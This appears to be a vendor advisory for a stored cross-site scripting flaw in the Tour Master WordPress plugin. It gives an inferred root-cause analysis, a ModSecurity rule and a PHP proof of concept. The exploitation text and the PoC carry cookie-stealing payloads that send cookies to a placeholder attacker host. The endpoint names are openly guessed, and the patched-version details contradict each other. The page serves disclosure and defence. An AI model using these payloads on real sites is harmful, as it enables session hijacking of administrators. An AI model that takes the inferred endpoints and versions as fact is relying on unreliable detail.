Opens in a new tab
Published : November 15, 2026

CVE-2026-14239: Tour Master Tour Booking, Travel, Hotel < 5.4.8 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin tourmaster
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.4.8
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14239 (metadata-based):

CVE-2026-14239 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the Tour Master – Tour Booking, Travel, Hotel WordPress plugin, affecting versions up to 5.4.8. Atomic Edge research classifies this as a high-severity issue (CVSS 7.2) because an attacker with no privileges can inject persistent JavaScript that executes in the context of any user viewing the injected page, including administrators. The vulnerability resides in the plugin’s handling of user-supplied input that is saved and later rendered without adequate sanitization or escaping.

Root Cause: The CWE classification (CWE-79) and the description indicate insufficient input sanitization and output escaping. The plugin likely accepts data from a public-facing form or AJAX action, stores it in the database (e.g., a booking field, review, or custom post meta), and outputs it without proper escaping (e.g., via esc_html or esc_attr). Atomic Edge analysis infers that the vulnerable component is an unauthenticated endpoint (e.g., an AJAX action or REST route) that processes user input and saves it to a location later displayed on the site. Because no code diff is available, the exact endpoint and parameter names are inferred from common WordPress plugin patterns and the plugin slug. The conclusion that the plugin fails to sanitize on input and escape on output is confirmed by the CVE description, but the specific code path remains unconfirmed.

Exploitation: An attacker can exploit this vulnerability by sending a crafted HTTP request to a public-facing endpoint. Atomic Edge research infers that the most likely vector is an AJAX action (e.g., action=tourmaster_booking or similar) accessible via /wp-admin/admin-ajax.php, or a REST API endpoint under /wp-json/tourmaster/v1/. The attacker supplies a payload such as fetch(‘https://attacker.example/steal?c=’+document.cookie) in a parameter that the plugin persists (e.g., booking_name, message, or review_content). Once stored, the script executes whenever a user (including an administrator) views the page containing the injected data, allowing session hijacking, defacement, or redirection. No authentication or nonce is required, as the vulnerability is unauthenticated.

Remediation: The fix requires implementing proper input sanitization and output escaping. On input, the plugin should validate and sanitize all user-supplied data using WordPress functions such as sanitize_text_field() or wp_kses() with a restrictive allowed HTML set. On output, the plugin must escape data using esc_html(), esc_attr(), or esc_url() depending on context. Atomic Edge analysis infers that the patch for version 5.4.8 (the patched version) likely adds these sanitization and escaping routines to the vulnerable endpoint. Because the vulnerable version is not downloadable, Atomic Edge cannot confirm the exact changes, but the remediation follows standard WordPress security practices for CWE-79.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of site users, including administrators. This can lead to session theft, privilege escalation (by creating rogue admin accounts), content injection, malware distribution, or full site compromise. The CVSS vector (S:C) indicates a scope change, meaning the vulnerability can impact resources beyond the vulnerable component, such as the entire WordPress installation or the user’s browser. Atomic Edge research rates the real-world risk as high due to the unauthenticated nature and the persistence of the payload.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14239 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202614239,phase:2,deny,status:403,chain,msg:'CVE-2026-14239 via Tour Master AJAX action',severity:'CRITICAL',tag:'CVE-2026-14239'"
  SecRule ARGS_POST:action "@streq tourmaster_booking" "chain"
    SecRule ARGS_POST:booking_name "@rx <script|javascript:|onerrors*=|onloads*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14239 - Tour Master - Tour Booking, Travel, Hotel < 5.4.8 - Unauthenticated Stored Cross-Site Scripting

// PoC assumes the vulnerable endpoint is an AJAX action 'tourmaster_booking' or similar.
// Adjust the action and parameter names based on actual plugin behavior.

$target_url = 'http://example.com'; // Change to target WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious payload that exfiltrates the admin's cookies to an attacker-controlled server.
$payload = '<script>new Image().src="https://attacker.example/steal?c="+document.cookie;</script>';

// Common parameter names for booking forms.
$data = [
    'action' => 'tourmaster_booking', // Inferred AJAX action; may vary
    'booking_name' => $payload,
    'booking_email' => 'attacker@example.com',
    'booking_message' => 'test',
    // Add other required fields as needed
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent payload to $ajax_urln";
echo "HTTP status: $http_coden";
echo "Response: $responsen";

// After sending, the payload should be stored in the database.
// To trigger execution, an admin must view the page where the data is displayed.
// Example: /wp-admin/admin.php?page=tourmaster_bookings or a front-end booking page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.